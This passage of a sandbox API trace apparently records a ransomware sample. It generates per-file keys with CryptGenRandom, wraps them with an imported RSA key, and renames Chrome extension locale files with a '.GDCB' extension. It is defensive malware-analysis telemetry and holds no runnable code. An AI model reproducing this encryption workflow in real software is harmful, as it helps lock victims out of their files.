hKey=0x678e0e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0279.070] GetLastError () returned 0x0 [0279.070] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0279.070] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0279.071] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0279.074] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0279.076] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x404b, lpOverlapped=0x0) returned 1 [0279.085] VirtualAlloc (lpAddress=0x0, dwSize=0x4050, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0279.091] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json.gdcb")) returned 1 [0279.096] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0279.099] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.101] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.101] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0279.101] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.101] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0279.103] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.105] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.105] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0279.105] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0279.106] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0279.108] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e120) returned 1 [0279.108] CryptGetKeyParam (in: hKey=0x678e120, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.108] CryptEncrypt (in: hKey=0x678e120, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0279.108] GetLastError () returned 0x0 [0279.108] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0279.108] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0279.110] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e160) returned 1 [0279.110] CryptGetKeyParam (in: hKey=0x678e160, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.110] CryptEncrypt (in: hKey=0x678e160, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0279.110] GetLastError () returned 0x0 [0279.110] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.110] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0279.111] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0279.115] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0279.117] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x3e85, lpOverlapped=0x0) returned 1 [0279.125] VirtualAlloc (lpAddress=0x0, dwSize=0x3e90, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0279.132] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json.gdcb")) returned 1 [0279.137] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0279.140] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.142] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.142] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0279.142] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0279.142] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0279.145] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.147] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.147] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0279.147] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0279.148] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0279.150] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e660) returned 1 [0279.150] CryptGetKeyParam (in: hKey=0x678e660, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.150] CryptEncrypt (in: hKey=0x678e660, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0279.150] GetLastError () returned 0x0 [0279.150] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0279.150] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0279.152] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e8a0) returned 1 [0279.152] CryptGetKeyParam (in: hKey=0x678e8a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.152] CryptEncrypt (in: hKey=0x678e8a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0279.152] GetLastError () returned 0x0 [0279.152] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0279.152] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0279.154] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0279.156] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0279.159] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x46f5, lpOverlapped=0x0) returned 1 [0279.166] VirtualAlloc (lpAddress=0x0, dwSize=0x4700, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0279.172] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json.gdcb")) returned 1 [0279.178] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0279.181] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.184] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.184] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0279.184] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.184] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0279.187] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.190] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.190] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0279.190] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0279.191] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0279.193] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e760) returned 1 [0279.194] CryptGetKeyParam (in: hKey=0x678e760, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.194] CryptEncrypt (in: hKey=0x678e760, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0279.194] GetLastError () returned 0x0 [0279.194] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.194] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0279.196] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e720) returned 1 [0279.196] CryptGetKeyParam (in: hKey=0x678e720, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.196] CryptEncrypt (in: hKey=0x678e720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0279.196] GetLastError () returned 0x0 [0279.196] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.196] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0279.197] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0279.200] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0279.203] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x3f4c, lpOverlapped=0x0) returned 1 [0279.237] VirtualAlloc (lpAddress=0x0, dwSize=0x3f50, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0279.243] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json.gdcb")) returned 1 [0279.249] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0279.252] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.254] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.254] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0279.254] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.254] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0279.257] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.259] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.259] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0279.259] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.259] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0279.261] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e3a0) returned 1 [0279.261] CryptGetKeyParam (in: hKey=0x678e3a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.261] CryptEncrypt (in: hKey=0x678e3a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0279.262] GetLastError () returned 0x0 [0279.262] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.262] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0279.263] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e4a0) returned 1 [0279.263] CryptGetKeyParam (in: hKey=0x678e4a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.263] CryptEncrypt (in: hKey=0x678e4a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0279.264] GetLastError () returned 0x0 [0279.264] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.264] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0279.265] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0279.268] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0279.272] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x4082, lpOverlapped=0x0) returned 1 [0279.281] VirtualAlloc (lpAddress=0x0, dwSize=0x4090, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0279.289] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json.gdcb")) returned 0 [0279.293] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0279.297] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.299] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.299] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0279.299] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0279.299] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0279.302] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.304] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.304] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0279.304] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0279.305] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0279.307] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678e260) returned 1 [0279.307] CryptGetKeyParam (in: hKey=0x678e260, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.307] CryptEncrypt (in: hKey=0x678e260, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0279.307] GetLastError () returned 0x0 [0279.307] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.307] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0279.310] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, 